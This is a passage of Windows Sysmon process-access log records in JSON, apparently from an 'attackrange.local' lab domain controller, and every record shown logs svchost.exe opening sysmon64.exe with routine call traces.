C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1268,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1269,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1270,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1271,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1272,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1273,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1274,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1275,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 